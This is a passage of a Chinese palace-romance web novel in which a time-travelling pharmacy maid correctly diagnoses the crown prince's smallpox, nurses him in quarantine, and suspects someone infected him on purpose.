衣上云看着丁香有条不紊地派着差事,竟看得有些入迷起来,忽然醒过神来微微蹙眉喃喃道“东华宫”,于是她便上前去问丁香。

“丁香”丁香一见衣上云出来,便慌忙道“云儿,今日天气阴冷潮湿,不是让你在屋里好好呆着吗,这里有我呢,你就放心吧,有什么问题,我会去跟你禀报的”

“没事的,哪有那么娇气。方才我听到你说东华宫,这东华宫是...?”衣上云好奇地问。

丁香这才反应过来衣上云入宫晚,至今对东华宫是一概不知的,便详细地说道“云儿你有所不知,东华宫是当今太子的宫殿。太子年幼,仅不足10岁。这几年由温太傅伴驾往灵空大陆诸国游历,故不在宫中,所以无需御药房侍候。而此次乃是因太子在外太久,数年未归,太后娘娘和皇后娘娘甚是想念,故才将其召回宫,顺便一道过年以解相思之苦”

衣上云终于听明白了,即刻便打趣地问“那太子如此娇气还在外游历,怎么一回宫便病倒了。不会是长期在外适应了外面的水土,如今回宫反倒却水土不服了吧?”

丁香顿时变得神情紧张起来,压低了声音在衣上云耳边说“你来的正好我正准备去跟你禀报呢,我听东华宫的婢女紫嫣说太子不是一回宫才病的,在回宫途中就已经染疾。听说太子倦怠、头痛不适已有数日,前几日路上还突发起高烧来,烧的整个人都惊厥了。以为是染了风寒便服用了些麻黄理中汤。温太傅本要带太子在沿途的驿馆停下就医,只因太子归宫心切,执意要先赶回宫中来。谁想今日一回来张院判便过去诊治,说是太子染了水痘,都已开始发出疹子来了。太后娘娘,皇后娘娘甚是担忧,皇上更是已龙颜大怒。温太傅因此被训斥地可凶了,如今都已被禁足在府中,不得召见不许出门呢”

衣上云惊声“水痘?”

她脑中急急回忆着自己所学“倦怠、头痛数日、高烧惊厥、发疹......”

丁香:“是啊,还好是水痘,而且只因太子执意替太傅求情,这才只是被禁足轻饶了。要是其它...怕是温太傅定要人头不保了。太子可是西秦国未来唯一的继承人,他要是有个什么闪失,后果可不堪设想”

此时,小药女已经将配好的药拿过来送给煎药的药女,衣上云连忙走过去“把处方给我看一下”小药女急急伸出手恭恭敬敬的将药方呈上。

衣上云接过去仔细认真地看着“桑叶、菊花、牛蒡子、杏仁、赤芍、板蓝根、银花、连翘、生薏米、车前子、芦根”

“是桑菊饮”衣上云看完喃喃道,但是想着方才丁香所说的症状,她忽然深深地皱起眉来一副若有所思的样子。

接着只听她说“丁香,等会儿药煎好后通知我一声,我同你一道过去看看”

“云儿,这药可是有什么问题?”丁香疑惑地问。

“先去看看再说吧”衣上云亦是带着同样有些疑惑的表情回答她。但她心里却想着,希望不是她担心的那样,眼下也只能等见到太子本人才能有所决断。

很快,俩人便拿着药匆匆赶到了东华宫太子宫殿。

“还不速速将汤药给太子服下”俩人刚一进门,就被璟帝怒火中烧的呵斥声惊到,丁香听到后更是怯怕,整个端着木盘的双手竟哆嗦了起来。

衣上云看见,立刻伸出手去端起丁香手中木盘里的药碗,沉稳不惊地朝着太子的病榻边走过去。

一到跟前,便看见了病榻上躺着的虽然生病着,却依旧能看出是一个极其俊朗,气质不凡的10岁少年。

只见病榻上的少年,稚嫩的棱角分明的面庞,浓黑的眉毛,高挺的鼻梁下一张薄薄的唇,虽然生病脸上起着好多丘疹,但依然张显着一副尊贵之气。

常听21世纪里的老人家们说,长着薄唇的人嘴巴一定很会说话,衣上云心想着,眼前这少年一定是个机灵的孩子。

稍作端详后,衣上云在病榻边缓缓坐了下来,拿起汤匙正打算喂药,忽然发现眼前的孩子竟然打起了寒战,这时她才注意到他的疹子分布的似有些蹊跷。

虽说现在是隆冬季节,但东华宫太子宫殿内自是各方面保暖条件极其的好,他却竟然还打寒战。

“难道真的......”衣上云口中喃喃道,随即伸出手捉起太子的手臂来凝神一看,只见长衣袖下露出的那只手臂上的红色丘疹密密麻麻。

她即刻放下手中的药碗,又急急拉起另一只手凝神确认亦是同样如此,再迅速解开少年的衣襟带来却看到腹部和胸部的红疹甚少。

身为一名21世纪国内医药界一名高材生的她,岂能不知此时这种离心式分布的红疹是什么?

只见衣上云稍加思索随即便紧紧蹙起了那双秀眉,将脸转向了一旁的太医院首席院判——张致远,急急道......

第四十九章:医者仁心

身为21世纪国内医药界一名高材生的衣上云,岂能不知此时眼前这种离心式分布的红疹是什么?

天花的皮疹正是以头面部,四肢近端居多,驱干则居少,呈现离心性分布;而水痘的皮疹则是先由躯干开始的,再逐渐扩散到四肢,相反呈向心性分布,如今眼前这明显......

只见衣上云稍加思索随即紧紧蹙起了那两道秀眉,将脸转向了一旁的太医院首席院判——张致远,急急道“张院判,请过来这边看看太子殿下”

一直站在旁边不敢大声出气沉默不语着的张致远,听到衣上云的轻唤声急急走过去。衣上云随即依次掀起太子双臂上的衣袖和上衣来,张致远顺沿着她的指向定睛凝神一看,立马 眼睛怔住向着衣上云的双目,衣上云亦是看着他的目光颔首向其确认。

张致远此时感觉犹如晴天霹雳,真是一波未平一波又起,但事关重大,他只能如实禀报。

于是,他急急转头朝向璟帝身边走过去后即刻俯首下跪道“启禀陛下,老臣罪该万死,太子殿下他...太子这是染了天花”

“什么?”璟帝、太后、皇后三人闻声不约而同地站起身来异口同声道。

太后更是一个踉跄险些晕了过去,皇后连忙伸出双手扶住。

“怎么会?这可如何是好?”皇后乃一国之母,母仪天下。本应遇事沉稳端庄,但如今染病的可是自己心尖上嫡亲的皇儿,她自是沉不住气的。

“太子病情究竟为何突生变故,方才不说是水痘吗?”璟帝言语里满是质疑,发出的威严之气直逼张致远。

张致远豆大的汗水冒着“回陛下,水痘和天花发病初期都很急,并都伴有发热、头痛、倦怠、出疹子等症状,本就容易混淆。且殿下刚回到宫中,太医院并无专人日日请脉备案。可如今依照殿下此时症状的发展来看,老臣确定是天花无疑,太子殿下必须马上被隔离”

一边的衣上云看着张致远极力为自己开罪,心里暗想“明明就是自己误诊所致,堂堂一个太医院院判,竟然粗心大意到连水痘和天花都诊错。唉,只是可怜了这个孩子要遭大罪了”说着,朝着病榻上的轩辕昊露出一脸的心疼来。

“隔离!本宫要亲自照顾我那可怜的皇儿”皇后听到后亦是看着病榻上的太子泣不成声地说道。

张致远急急阻止“皇后娘娘千万不可,没有患过天花的人,不分男女老幼,均能被其极强的传染性所感染,后果不堪设想”

“那怎么办,那怎么办,到底谁才能全心全意的照料本宫的皇儿”皇后满腹慌乱地哭诉着,一旁的太后亦是泪眼婆娑着不知所措,璟帝亦是一脸无奈地瘫坐在坐榻上不言不语。

此时,东华宫寝殿里所有在场的宫女太监们人人都低头不语,心里担忧害怕着,巴不得此刻能有一双翅膀立刻飞身而出,逃离这个恐怖的大殿。

然而就在所有人都惶恐的沉默着的时候,衣上云看着眼前床榻上这个极为痛苦的孩子,缓缓起身来深吸一口气用无比坚定的口气说道“就让奴婢来照顾太子殿下吧”

“你?”

“她?”

“她不要命了吗?那是天花耶”

“天花自古就是无药可救的”

“染上了肯定是死定了,就算治好痊愈了侥幸保住一条小命,那也几乎是一脸的麻子,完全毁容了”

“这个节骨眼上,她还逞什么能啊”

......

伴随着衣上云说出的这句话,大殿内顿时议论纷纷,说什么的都有。

丁香悄悄挪步站到了衣上云的身旁来“云儿,这是天花呢,你不要命啦?”衣上云听到,看着她只是抿嘴微微笑着。

“又是你!也罢,既然你这么喜欢逞强出风头,朕今天就成全你。不过,要是太子有个什么闪失,你就等着拿你们衣府九族所有人的性命来给他陪葬”璟帝盯看着她半天,最后狠狠地说道。

话刚说完璟帝便下令“立刻将东华宫封锁隔离起来,除了张致远和衣上云还有东华宫服役的所有奴才外,其他人等均不可擅自入内,违令者格杀勿论”

话一说完,在场所有人便都急急追随璟帝身后踱步而出,只有皇后甚是不舍地一步三回头,时而看着病榻上的太子轩辕昊。

丁香亦是边走边回头一脸忧心地看着衣上云,衣上云则仍然只是对她一直微笑暗示她安心离去。

人都散去,一室寂静。

瞬间偌大的寝殿里就只剩下衣上云和张院判俩人,还有病榻上那个被病痛折磨的极其可怜的孩子。

“衣药女,没想到你年纪轻轻,竟然如此医者仁心,老夫实在佩服至极。不过,太子殿下患的可是传染性极强的天花之毒,衣药女还当尤为小心才是”张致远此时对衣上云一脸敬佩的说道。

然衣上云却瞬间阴冷下了那张瘦小的脸看着张致远的眼睛说道“张院判,身为太医院首席院判。今日你险些把太子的天花误当成了水痘诊治,如此大意不严谨,你可否想过后果?”

“衣药女何出此言,方才老夫都已经跟陛下解释过,天花和水痘......”张致远话说到一半便被他始料未及的衣上云的呵斥声惊到。

“荒唐,陛下不精于医术故而被你玩弄于股掌之上,可是这不能成为你张院判为自己开脱罪责的借口。你看看,这病榻上躺着的可还只是个仅仅不到10岁的天真无邪的孩子,误诊的后果可是要夺了他的性命的,院判大人你知道吗?”

衣上云难过而又气愤地指着床上一脸痛苦之态的轩辕昊说着。

“衣药女话既至此,老夫也不妨对你直说。这天花病毒自古都是不治之症,即便侥幸逃过一命,也是容颜尽毁,以后生不如死。凡人听闻唯恐避之不及,老夫是见你勇气可嘉,故才对你美言几句,你莫要得意忘形。不过是一个小小的御药房药女,还想训斥老夫,你就自求多福吧”张致远气急败坏又轻蔑地对她说出这番话后便也急急逃了出去。

衣上云看到这么不负责任的医者甚是气恼,但还是极力隐忍着,紧闭起双眼深深吸气,片刻后将这满腔的浊气吐了出去,眼睛亦随之睁开来再次看向病榻上的太子轩辕昊。

谁料轩辕昊竟不知何时已从迷迷糊糊中清醒,正好听到了张致远临走前的最后一句完整的话。此时他端着一脸憔悴的病容轻声地问“你为何还不走?”

“殿下醒了”衣上云听到他的声音欣喜地呼道。

轩辕昊用力想要坐起来,衣上云看见连忙上前来扶“太子殿下当心”

“本太子染了天花,人人都惟恐避之不及,你却为何还独自留在这里?”轩辕昊言语里有些懊恼丧气也夹杂着些好奇地问眼前这个陌生的女子。

“因为奴婢是太医院的药女啊”衣上云回答他。

“哼,药女?药女在宫中算是几品官职啊?”轩辕昊在衣上云的帮助下终于坐了起来,然却冷哼着说道。

衣上云当然深知药女既无品又无级,只不过是一个最底层的杂役而已。可她还是微笑着回答轩辕昊“殿下,所谓医者仁心。身为一个医者,无论他的医术强还是弱,亦无论他的职位高还是低。都应竭尽所能,尽心尽力,帮扶病患,治愈病患,此乃一个医者责无旁贷神圣之天职”

“哼,好一个医者仁心,责无旁贷,只不过治愈天花......”轩辕昊依旧冷哼着,却欲言又止。

衣上云忽然自嘲起来,她竟然此时跟一个与21世纪的自己年龄有着近二十多岁相差的孩子讨论如此神圣的医者仁心的话题,说这样信誓旦旦的话。她想,肯定是自己穿越至此的时间太久了,竟真把自己当成17岁的原主了。

随即她转移话题向轩辕昊道“太子殿下,让奴婢跟殿下讲个故事吧,可好?”

轩辕昊毕竟还只是个孩子,一听到讲故事,自是抗拒不了其诱惑的。

看到他安静下来,于是,衣上云靠边上坐了下来耐心的给他讲了一个得了天花的皇帝的故事。

“有一个叫奕詝的人,他的生母只是个二等侍卫之女,生母从小家境贫寒,但其聪慧美丽,入宫后很讨皇帝喜欢,后来成了贵妃生下了奕詝。奕詝三岁的时候,生母被册为皇后。但是天妒英才,奕詝为皇子时和殿下一样得了天花,脸上留下一脸麻子。后来从猎南苑,驰逐群兽,坠马伤股,从此又落下残疾,终身行动不便;然祸不单行,就在奕詝和殿下同样只有10岁的时候,其生母亦病逝撒手人寰而去,奕詝从此便由另一宫中贵妃抚养。他勤奋善良、宅心仁厚、被当朝皇帝立为储君。后来即位后更是呕心沥血,精图励志、大肆改革、整顿吏治、严惩贪官污吏、镇压内乱、抗击外强最终成为一代帝王”

故事讲完,衣上云对他说“太子殿下和奕詝相比,已经是何等庆幸了,不是吗?”

轩辕昊却依旧只是久久沉默着不出声,一脸凝重着......

衣上云看见,似是有些耐不住性子了。便起身来想要到殿外去呼吸调节一下自己的状态,缓解一下自己此时亦是无比沉重和受挫的心情。

谁知她刚走到寝殿门口准备抬脚跨过门槛去的时候,忽闻轩辕昊......

第五十章:已成深深的烙印

衣上云见轩辕昊依旧只是久久沉默着不出声,一脸凝重着,似是有些耐不住性子了。便起身来想要到殿外去呼吸调节一下自己的状态,缓解一下自己此时亦是无比沉重的心情。

谁知她刚走到寝殿门口准备抬脚跨过门槛去的时候,忽闻身后的轩辕昊一声“你叫什么名字?”

衣上云听到后立刻回头,一脸欣喜地看着眼前这个有些固执的孩子,皇天不负苦心人,终于他肯释怀愿意开口和她好好说话了。

这便急急返回去对他温柔的微笑着说“奴婢是御药房药女,衣上云”

“衣上云......本太子记住了”轩辕昊口中默默地念道.

一边的衣上云颔首,仍只是开心地笑着。因为她相信:接下来的日子里,无论有多艰难,轩辕昊病的有多严重,只要他愿意敞开心扉,积极面对,那就一定会有好的结果。

此时,城东秦王府,一片威严肃静。

轩辕翰正端坐在承华殿里,手执一个高雅宁静的宝蓝色绸缎质地香囊,上面嵌着几枝白梅,左看右看饶有兴致的细细端详着,时不时嘴角里还勾出一抹好看的弧度来......

副将程良从殿外急急走了进来,一进门便显出一副神色慌张的表情。

“殿下”

轩辕翰亦是看到他这副罕见的表情,便先问他道“发生了何事?”

程良似是有所隐瞒亦或者是想要先缓和铺垫一下,想了想就只禀告道“宫中刚传出消息,说太子殿下与温太傅今日已回到宫中”

“此事本王早已知晓”轩辕翰一向与太子和温太傅关系密切,自是早就已经收到他们年底将要回宫的消息,此时一点也不意外。倒是有些责怪起程良的大惊小怪,他认为程良整日跟随他左右也自是应知道此事的。

然程良接着又禀告说“太子殿下刚被诊断出染了天花,如今整个东华宫已经被封锁隔离起来了”

“什么?不说是水痘吗?”轩辕翰听到这里的时候才似是有些惊到。

“多半是发病初期被误诊了...”程良还想继续说,却还是觉得不知该如何开口,眼睛低着一直左右闪烁内心挣扎着。

“还有什么事?”轩辕翰看出他还有事要说,便再一次抬眼朝他厉声问道。

“殿下不要太着急了”程良说着,但仍还是在铺垫。他害怕,他这会儿所说所做的其实只不过是为了告诉主子一件事情,一句话而已。可他不知道说了这么多,做了这么多的铺垫,等他说出那句最要说和最该说的的时候,主子会是个什么样子。

轩辕翰听了程良这句莫名其妙的话后更是觉得奇怪“本王何时着急了,况且现在着急也于事无补,幸好太子如今已经回到宫中,宫内各项条件自是最好的。如今,也只能静待天意了”

程良终于耐不下去,再也守不住心底的这句话。于是他鼓起腮帮,深吐一口浊气随即低着头清晰又大声地向轩辕翰禀报“禀殿下,东华宫被隔离起来的除了太子殿下,还有...还有衣药女”。

“什么?”果然,一向沉稳冷静的轩辕翰听到这句话,立马从坐榻上站起身来,瞪大了双眼似乎不敢相信自己的耳朵,一脸惊愕地望着程良,随即两只拳头攥得紧紧的。

“她不是腿疾未愈还在御药房修养吗?你不是已经传达过本王的命令,不许太医院派任何差事给她?到底是谁这么大胆竟敢违抗本王的命令?她为何又会被隔离在东华宫内?”

轩辕翰激动不已,第一次如此沉不住气,第一次如此发狂,第一次如此为一个女子失了身份。

程良听到轩辕翰一连这么多问题,知道主子心急如焚。于是一个个认真作答道“太医院定是不敢对殿下的命令阳奉阴违,据说是衣药女在药女煎药的时候发现了一些问题,于是执意前往东华宫想证实自己的猜想。也幸亏衣药女去了,这才细心的发现太子病情诊断有些端倪,后来让张致远重新诊断方知是染了天花”

“那为何她会被隔离在东华宫?”轩辕翰仔细听着,迫切地问道。

“皇后娘娘得知太子染了天花要被隔离,坚持要亲自侍疾陪伴照料。皇后乃一国之母身份贵重,皇族和太医自是不允。所有人都唯恐避之不及,只有医药女却自告奋勇说要照顾太子。皇上听了,说衣药女喜欢逞强出风头,就应允了她,所以便和太子一起被隔离了”程良禀的甚是认真仔细的样子。

“她哪里是喜欢逞强出风头,她只是心地太善良,任凭对谁都凡事于心不忍罢了”轩辕翰一脸无奈却又含情脉脉地说着,心里浮现出这样的一幕幕来。

在风高夜黑的山谷里,衣上云面对身受重伤素不相识的轩辕翰,一身夜行衣持剑威胁,却仍然毫不畏惧施以援救之手;

在喧闹的街市上,对同样素不相识身中剧毒的老婆婆及时解毒保其性命,并赠送其所有随身银两帮其度过难关;

在西秦皇宫里,为了给第一次见面的太后,寻回极品铁皮石斛替父恕罪,不惜暴雨夜攀爬陡峭的山谷跌落下来险些丧命;

后又因此事累及父亲之过,一个好端端自由自在的大小姐,被皇帝处罚入宫做了一个整日里奴颜婢膝的小药女,受尽欺凌;

公主与外邦政治联姻,又与她何干?公主激怒皇帝,为了给皇帝消气,替公主解围,她竟以身挺险争取回旋之地无果,便再次激怒皇帝。冰天雪地里罚跪十二个时辰,皇帝消气了,而她却落下了严重的腿疾至今都无人能医;

与太子初见,太子染上大疫,又与她何干?终究她也只不过是看到太子年幼,想要拼尽全力帮其燃起求生的欲望与病魔斗争而已。

......

所有的事情,所有的过往,这一切的一切,原来,早已经成了一道深深的烙印,烙在了轩辕翰的心里。

这些所有,已经在一寸寸地融化着他那已冰冷沉睡了千年万年的心。

“殿下”程良看到轩辕翰陷入了深深长长的思绪当中,轻声地想要唤醒他。

只见轩辕翰听到后立刻从坐榻边抽身走下来,道“备马...进宫”。

“什么?进宫?殿下......”程良不敢相信自己的耳朵,太子染了天花,人人唯恐避之不及,主子还要自己送上门去。

然还没等他将话说完,轩辕翰早已不见了人影,程良急急追随着他已远去的背影奔出大殿,边走边思考。

这时,韶华阁的梅汐媛亦是听闻了王府内到处都在传闻,宫中太子染了天花,东华宫被封锁隔离的消息,便急急穿过回廊过来承华殿,想要提醒轩辕翰日常进宫早朝务必当心避讳着点。

谁知,一到承华殿门口,便看见了轩辕翰主仆二人一前一后从她眼前匆匆而过。

轩辕翰已大步流星的朝王府正门方向而去走远了,她只能急急拦住后面追随着的副将程良道“程将军,请留步”

程良听到梅汐媛唤他顿时止步行礼道“王妃娘娘,有何吩咐?”

“程将军,看殿下这行色匆匆的,发生了何事?殿下他这是要去哪儿?”梅汐媛看了一眼轩辕翰离去的背影,朝程良探问。

“娘娘有所不知,宫中太子今日刚回到宫中。太医诊断太子染了天花,东华宫已被隔离,殿下这会儿正是要入宫去探病”程良解释道。

“什么?难道王府中传闻的都是真的?太子果真染了天花?”梅汐媛异常惊恐地问,程良颔首默认。

“那殿下为何还不知避讳,反倒还要入宫去以身犯险呢?”梅汐媛甚是担忧亦不解地问。

“王妃娘娘,太子乃是西秦国未来唯一的继承人,殿下又是太子唯一的亲皇叔,于情于理此时都应该入宫探望。况且如今东华宫已被隔离,殿下去了怕也是入不了东华宫的大门的。此去只是尽人事罢了,否则陛下和整个天下又将会如何议论殿下呢?”

听了程良的一番话,梅汐媛心里宽慰了许多“嗯,程将军分析的也甚是有理,那就有劳程将军费心对殿下多多照顾着点”

程良:“王妃娘娘放心,保护殿下,此乃属下职责,属下定当万死不辞,不让殿下受半点伤害”

说完,程良便急急告退出了门去,梅汐媛则孤零零地独自站在空旷的院落里望着二人离去的背影露出一脸的忧心来。

“为何磨蹭到现在才出来?”轩辕翰出来许久,不见程良跟上。见其一出门来,便一边上马一脸怒色地朝他道。

“殿下,其实王妃娘娘对殿下您挺上心的,方才她还......”程良思量了半天还是决定一吐为快把刚才和梅汐媛的一番对话告诉轩辕翰,只是话才刚开口,便被轩辕翰投过来的冰冷渗人的眼神噎了回去,无奈他只得老老实实地策马奔驰。

西秦皇宫里,轩辕玥正在皇后的朝华宫里安慰陪伴着。

“母后,事已至此,母后也当以凤体为重。皇弟吉人天相,自会得上天庇护,一定会平安无事的”皇后自从出了东华宫的宫门,便整日里以泪洗面、唉声叹气、茶饭不思。

轩辕玥每日大半时间都是伴在其左右宽慰着她,如今俨然已是一副成熟沉稳的大人模样了。

“玥儿,母后早就劝谏你父皇......

第五十一章:赌注,十里红妆

“皇儿,母后早就劝谏你父皇。昊儿还小,不宜在外四处游走历练。虽说他是我西秦国未来,继承大统的唯一人选,可他终究只不过10岁,还只是个孩子而已。可你父皇就是不听,还说出一大堆的道理来。如今这样,他可满意了?”皇后向轩辕玥哭诉着此时内心极为愤愤不平的怨恨道。

轩辕玥听着也瞬时泪眼朦胧道“母后,发生这样的事,父皇也始料未及。试问天下又有哪个做父母的愿意将自己的孩子置生死于不顾呢?怪只怪这天下,竟有如此魔鬼般噬人性命的疫病”轩辕玥蹙眉似咬牙切齿地怒说着。

而片刻之余,她似又想到了什么,忽然一脸欣慰地对皇后说“不过母后放心,东华宫里皇弟的身边有云儿在,肯定会比我们任何一个人都照顾地周到细致”

“那个丫头?莫不是本宫真误会小瞧了她?如今母后细细想来,她还真是一个天不怕地不怕的奇女子。在那样危险的时刻,每个人都只顾着自己的安危,整个西秦皇宫里,竟然只有她一个人站出来,不怕被天花之毒传染,愿意冒死照顾太子。可你父皇有言在先,若是太子有所闪失,可是要拿那丫头九族的性命来陪葬的?”

皇后此时说着,言语里竟对衣上云没了往日的敌意,竟似乎透出了些许敬佩之意来,但同时也似是替其尤为忧心,毕竟太子染的可是让人人闻之而丧胆的疫病——天花。

而轩辕玥此时心里却对衣上云信心满满着,因为她知道衣上云通晓很多这个世上连她都不得而知的事情。她自是不知衣上云如今的灵魂是来自未来世界,21世纪高科技时代的医学院高材生,医药名企首席CEO。

她只是暗自庆幸着,此生能与衣上云相遇相知并相伴,即使这相伴的日子已然无多,但仍然感激命运能如此安排。

“玥儿跟母后打个赌吧?”轩辕玥忽然兴奋地说道。

“打赌?不知皇儿要跟母后打什么赌呢?”皇后亦是忽然有些莫明其妙地看着轩辕玥道。

“玥儿跟母后打赌,有云儿侍疾,皇弟此次一定能够平安无事,天花一定不会在皇弟身上留下丝毫痕迹”轩辕玥越想越对衣上云充满信心,就仿佛把她活脱脱当成了一个会仙家仙术的仙女一般。

“皇儿竟是逗母后开心了,母后的皇儿真的长大了,很孝顺,母后真的很开心,可是皇儿说的简直就是天方夜谭。自古谁人不知染上天花病毒者,十有八九都是死路一条,即使侥幸捡回一命,也是容颜尽毁...事到如今,母后心中也别无他求了,只盼着昊儿能够保住一条性命,于此,便甚为感恩我轩辕祖先之庇护了,哪里还敢再痴心奢望其他!”皇后似是心中对轩辕玥此番言语颇为感动,方感宽慰着道。

然轩辕玥却不依不饶坚持道“母后,请相信玥儿一次,这次玥儿是认真的。这个赌约,玥儿如果输了,玥儿从此愿意听从母后父皇任何安排,绝无半点怨言。但如果玥儿赢了,母后便得答应玥儿一件事情”

皇后看着她似是痴人说梦,但又似非常真诚,便一脸无奈地问“不知皇儿要母后答应你何事?”

轩辕玥古灵精怪的眼睛咕噜一转,便双膝沉沉地跪了下去在皇后身旁,极为认真诚恳地道“母后,如果皇弟此次真如玥儿所说,在云儿的侍疾下得以安然无恙。如此,玥儿要母后承诺,今后无论玥儿是否已经出嫁,又身在何处。待到云儿出嫁之日,母后将以灵空大陆西秦国皇后尊贵无比的身份赐云儿十里红妆,让她风风光光出嫁。母后可能应允?”

皇后听闻甚是惊讶,才方觉原来轩辕玥与衣上云的感情比她想象的要深得多,难怪衣上云亦是在璟帝面前丝毫无所畏惧地帮助轩辕玥在和亲之事上谏言。

于是,便欣然接受了轩辕玥的请求道“母后应允你便是,昊儿的安危又岂是一个区区十里红妆所能及的”

见皇后应允轩辕玥大喜,一时间竟激动的眼睁睁望着皇后流泪哭出声来,皇后亦是眼睁睁地看着她,对她此举甚是一脸惊慌失措地道“皇儿这是怎么了?”

秦王大婚那日,轩辕玥在秦王府门口便承诺过,待到衣上云出嫁之时亦是要由她做主让她风风光光的出嫁。

而今,璟帝逼婚,注定了她必定是要离开西秦国故土了,只是时间的问题而已。而衣上云又将从此被赐给秦王妃梅汐媛奴颜婢膝。

未来一切的一切,都充满无穷无尽的变数。但她的母后就不一样了,她是皇后,是一国之母,位于一人之下万人之上。

无论世事如何变迁,只要皇后应允,衣上云出嫁之时便绝不会寒酸。一个女子只有嫁妆好了,嫁去夫家才不会被歧视。

而今日此时,轩辕玥也算是真正对衣上云实现了她这个承诺。也算是在她离开西秦国前唯一为衣上云做的一件大事。

轩辕玥这时低声喃喃“云儿,本公主已经做到了。你也要加油,一定要做到才行”

此刻,她岂能不喜极而泣,随后竟朝着皇后俯身深深叩拜了下去,一字一顿字字铿锵道“玥儿谢母后成全”,皇后看着她,一脸的诧异。

人们总说,世上最难维系的感情就是女子与女子之间的友情。女子的世界终会因家庭和孩子失去发展机会,会因后来各自境遇的不同而日渐隔阂,使她们在生存中做出无意识的背弃友谊的决策。

然而,轩辕玥怎么都不会想到,她与衣上云之间,这俩个女子注定一世纠缠,各自的命运也都是那么的令人可歌可泣。

东华宫——太子轩辕昊的宫殿里,里里外外的人都遮着面纱忙忙碌碌着。

只看见衣上云正对着这来往的宫女太监们热心满满地提醒着“大家都不要惊慌,天花主要是通过飞沫吸入或直接接触而传染的,如果有人突然出现头痛、背痛、发冷或寒战、高热并伴有恶心、呕吐、便秘、失眠等症状的请立刻给太医查看。所有要送给太子殿下的物品均放在大殿门口的案几上或交于我便可,不必亲自送进来增加自己被感染的机会”

“衣药女,真是辛苦你了,你人真善良,让我们大家离天花病毒远远的,自己替我们挡了所有的灾难”太子宫里的婢女紫嫣诚恳地说着。

“衣药女人真好”

“多谢衣药女”

“谢谢衣药女”

“衣药女,你真好”

“衣药女可真善良”

......

一旁的宫女太监们个个都跟着紫嫣满脸笑容和感激的向衣上云诚挚的道谢着。

“哼......”张致远一只手端着一碗刚刚煎制好的汤药,另一手拿着一瓶新调配的外用涂抹用药膏走过来,重重地将其丢在寝殿门口的桌案上,狠狠地瞪了衣上云一眼冷哼了一声,便转身离开了。

紫嫣看到,开口说“衣药女,你不要理他,他这是咎由自取。现在整个皇宫都知道他误诊的事了,传的沸沸扬扬,宫里的妃嫔贵人们个个都嫌弃他骂他,以后都不要他帮忙诊病了呢。他现在心里可恼着呢”

衣上云听闻,特意又一次放眼过去看了看张致远的背影,轻轻抿起嘴对紫嫣微笑了一下,便拿了药进了寝殿内。

“殿下,该服药了”轩辕昊听见这段时间里自己唯一能听到的不能再熟悉的声音,便从病榻上缓缓起身来。

“殿下的病情控制地极好呢,相信很快就会痊愈的”衣上云一边拿着药向着轩辕昊走过去,一边安慰着对他说道。

轩辕昊真的很坚强,病里一直坚持着要自己喝药不用人喂食。

现在,他总是对衣上云说“本太子难道还不如你故事里的那个满脸麻子还外加残疾的帝王吗?”

这会儿他正手里端着汤药慢慢服下,在衣上云及太医和所有东华宫宫女太监们齐心合力无微不至的照料下,轩辕昊的天花已经完全受控了。

虽然被隔离了起来,但反倒正因如此,所有人的力量更加凝聚了,每个人都不再如初始那般害怕和恐惧,如今就像真正的一家人,其乐融融地生活在一起,共渡难关。

轩辕昊服完药,衣上云便上前坐于榻边拿着涂抹的药膏开始轻柔地涂在轩辕昊的天花丘疹上。

她一边涂,一边问轩辕昊“太子殿下,奴婢有一事不明,想请教殿下?”

轩辕昊:“你想问本太子何事?”

衣上云:“太子殿下身份尊贵,多年来温太傅照顾的亦是细致入微,奴婢想知道殿下可知自己是如何染上这天花病毒的呢?”

轩辕昊听了瞬时紧锁眉头,露出一脸疑虑停顿回忆了片刻便开口说“其实本太子也不确定是不是那次。大约半个多月前,有一蒙面人引诱本太子至一深巷之内,他拿出一个精致的七彩琉璃瓶,本太子见他举止诡异,便问他瓶中是何物?然他不作言语,只缓缓朝着本太子踱步过来随即打开瓶盖,在本太子面前一晃而过后,人便匆匆溜走了。本太子当时甚是不解,如今细细想来,或许便是那时候被此人撒了天花病毒了吧”

“那此人岂不是很危险,他竟有如此高深的毒术,太子可还记得他的容貌?”衣上云霎时紧张异常地说。

轩辕昊似是无奈的微微摇头,然后说“他当时蒙了面,本太子还未曾看到他的容貌,便已被他溜走,是本太子大意了”

“蒙面人似是专程为引诱太子而去,那他自是知道了太子的身份。对西秦国的太子动手,那定是对西秦有不轨之心之人。换句话说,此人定是对西秦国有重大的阴谋”衣上云似是心里有所怀疑道。

“那是发生在何地的事?”思考片刻后,衣上云又急急追问。

第五十二章:似曾相识的怀抱

“那是发生在何地的事?”思考片刻后,衣上云又急急追问。

“应该是尚在南安国边境内,与我西秦交界处”轩辕昊稍作回忆后道。

衣上云随即深深蹙眉若有所思着,却立刻又似有所察觉道“南安国...殿下出宫往诸国游历,自是隐藏了身份。而此人明显是知道殿下身份的,否则怎么可能对一个小小少年下此毒手?可这下毒之人究竟是谁呢?又为什么要选在南安国下手?是本就是南安国的阴谋呢,还是有人要故意栽赃嫁祸给南安?对了,我们不妨可以听听秦王殿下的看法,他是朝堂中人,又是太子的亲皇叔,一定会全力查明此事的”

轩辕昊听到衣上云说到秦王殿下四个字,便立刻好奇地问“你竟识得本太子的皇叔?”

衣上云忽然有些不知道该怎么开口解释,于是眼神急急躲闪着他的质问道“奴婢在宫中当差,自然是见过几次秦王殿下面的”

嘴里说着说着便心虚地低下头来,这急急避开的目光和一脸羞涩的绯红,又如何瞒得过眼前这个俨然已经10岁的少年。

轩辕昊始终凝神盯着衣上云看着,而衣上云似是再也坐不下去了。忽然起身来急急收拾起药碗,药膏,准备要逃离开。

“衣药女,本太子刚刚才发现,你似乎不仅仅是因为怕被传染天花才戴的遮面纱巾,究竟为何?”轩辕昊刚刚凝视时才发觉,他醒来的时候,第一眼见到衣上云,她就一直以遮面纱巾示人的,而那面巾下隐隐约约透着的是...

衣上云听到轩辕昊的质问,急急伸出手去摸了摸脸上的胎记随即说道“太子殿下,奴婢的脸上有一颗丑陋的红色胎记,怕冲撞到别人,故此而为之”

“哼,整日里就知道编那么多好听的故事来诓骗本太子,叫本太子不要放弃,不要万念俱灰。你自己还不是一样,一颗胎记便整日遮掩着不敢示人,那本太子病愈后满脸麻子岂不是......”

轩辕昊越说情绪越激动,竟顺手拿起手边方才服药的药碗朝着衣上云的身上狠狠砸过去......

显然这出乎意料飞过来的药碗让衣上云避之不及,她只立刻似是本能的闭起眼侧起身来,交叉弯曲起双臂来急急挡住自己的头部。

